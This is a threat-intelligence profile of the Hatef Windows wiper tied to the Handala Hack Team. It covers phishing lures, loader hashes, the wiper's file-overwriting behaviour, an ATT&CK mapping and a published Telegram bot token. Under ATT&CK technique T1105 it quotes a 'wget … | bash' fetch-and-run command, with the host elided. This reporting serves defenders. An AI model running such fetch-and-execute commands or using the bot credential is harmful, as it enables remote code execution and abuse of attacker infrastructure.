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MalwareUsed by 1 actor

Hatef

Hatef is a Windows wiper malware family associated with the Handala Hack Team, a pro-Palestinian hacktivist-branded cluster that multiple security firms assess as linked to Iranian state activity, including reporting tying the broader cluster to MOIS and overlap with Void Manticore / Storm-0842 / BANISHED KITTEN / Dune. It is described as a .NET-based wiper for Windows and is repeatedly referenced alongside the Linux wiper Hamsa and other Handala-linked destructive malware including BiBi Wiper, Cl Wiper, CoolWipe, ChillWipe, and Handala Wiper.

High-confidence reporting in the content ties Hatef to phishing-led destructive campaigns, including Operation HamsaUpdate targeting Israeli organizations via F5 BIG-IP vulnerability-themed lures. In that campaign, administrators were instructed to execute a ZIP-delivered Windows loader masquerading as an F5 update utility. The initial loader, a C# executable named F5UPDATER.EXE, extracted an embedded resource named Hatef.exe from the archive and executed it from System32. One documented loader sample had SHA-256 fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2. Another related loader sample, SHA-256 ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a, contained both Hatef.exe and Handala.exe resources, with Handala.exe acting as a Delphi second-stage loader.

Behaviorally, Hatef performs a singleton check, verifies Administrator privileges, and uses a fake updater message box to prompt elevation. It recursively overwrites files with 4096-byte blocks of random data and then deletes them. Reported target paths include Users, Program Files, Program Files (x86), and Windows across connected drives. The malware reports execution status to a Telegram chat, including the victim external IP address, hostname, timestamp, and counts of undeleted files. The same reporting infrastructure was also used by the paired Linux Hamsa variant; published indicators include Telegram Bot ID 6428401585:AAGE6SbwtVJxOpLjdMcrL45gb18H9UV7tQA and chat/channel ID 6932028002.

The content characterizes Hatef as part of a broader evolution in Iranian disruptive operations toward cross-platform destructive capability. Hatef is specifically identified as the Windows component of a Windows/Linux wiper set, while Hamsa and BiBi are described as Bash-based Linux wipers. Across reporting, Handala is said to deploy Hatef in attacks and to gain initial access through social engineering and phishing, including impersonation of legitimate organizations and exploitation of major security incidents such as the CrowdStrike outage as lure material. Hatef has been publicly linked to campaigns targeting Israeli organizations and is also cited in reporting on Handala activity affecting Western targets, including the Stryker incident context, although some later disruptive operations were assessed as potentially relying on abuse of legitimate management tooling rather than traditional malware deployment.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Handala

The group’s wiper malware family includes variants named BiBi Wiper, Hatef, Hamsa (Linux), CoolWipe, and ChillWipe.

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MITRE ATT&CK

Techniques & procedures

13 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

3 techniques
T1566PhishingEvidence1

Handala commonly gains Initial Access through social engineering via phishing using a combination of exploitation of major events and vulnerabilities and impersonation of legitimate organizations to steal and leak data through a dedicated leak site.

T1566.001Spearphishing AttachmentEvidence1

The most studied example is a phishing campaign from July 2024 that exploited the global CrowdStrike outage. The group sent emails to Israeli organizations with fake remediation tools. Victims who downloaded the archive got hit with a multi-stage chain that ended in a wiper payload erasing their files.

T1566.002Spearphishing LinkEvidence1

Victims were directed to download a malicious archive containing a disguised installer that deployed a destructive wiper payload.

Execution

2 techniques
T1059Command and Scripting InterpreterEvidence1
TacticExecution

Handala campaigns typically use a staged execution chain designed to evade detection. Payload components are reconstructed at runtime and delivered through scripting frameworks before deploying the final wiper payload.

T1204User ExecutionEvidence1
TacticExecution

“the victim is instructed to run a specific file across all their Linux and Windows servers… utilize root privileges to execute a wget command… Windows server administrators are instructed to open and execute an attached archive ZIP file.”

T1548Abuse Elevation Control MechanismEvidence1

“Hatef Wiper checks for Administrator privileges… presents a message box… requiring Administrator access to proceed… coax the user into granting elevated permissions.” / “For Linux servers… utilizing root privileges to execute a wget command.”

Stealth

1 technique
T1036MasqueradingEvidence1
TacticStealth

“F5UPDATER.EXE… disguised as a system update tool of F5.” / “After masquerading as a routine update… ‘The system has been updated successfully!’” / “Naples.pif… renamed AutoIt interpreter… .pif… camouflage…”

Discovery

1 technique
T1082System Information DiscoveryEvidence1
TacticDiscovery

“transmits… external IP address… hostname… timestamp…” / “reconnaissance to identify the Linux distribution… Red Hat, Ubuntu, or Debian.”

T1102Web ServiceEvidence1

“During its operation, the wiper sends periodic updates to a predetermined Telegram chat…” / “this wiper version transmits data to the same Telegram channel… Bot Id… Channel Id…”

T1105Ingress Tool TransferEvidence1

“wget -O - https://…/update.sh | bash” / “Both ZIP files contain… F5UPDATER.EXE… extracts assembly from the resource section. The payload is written to System32 and executed.”

Impact

3 techniques
T1485Data DestructionEvidence5
TacticImpact

MITRE ATT&CK TTPs Tactic ID Technique Impact T1485 Data Destruction

T1561Disk WipeEvidence1
TacticImpact

Handala combines information gathering and system disruption to paralyze healthcare, education, and infrastructure with BiBi/Hatef wiper

T1561.002Disk Structure WipeEvidence2
TacticImpact

MITRE ATT&CK TTPs Tactic ID Technique Impact T1561.002 Disk Structure Wipe

INDICATORS OF COMPROMISE

IOCs tracked for this family

6 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Hashes
6 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

TypeValueLatest sighting
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IOC matching6

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Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping13

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.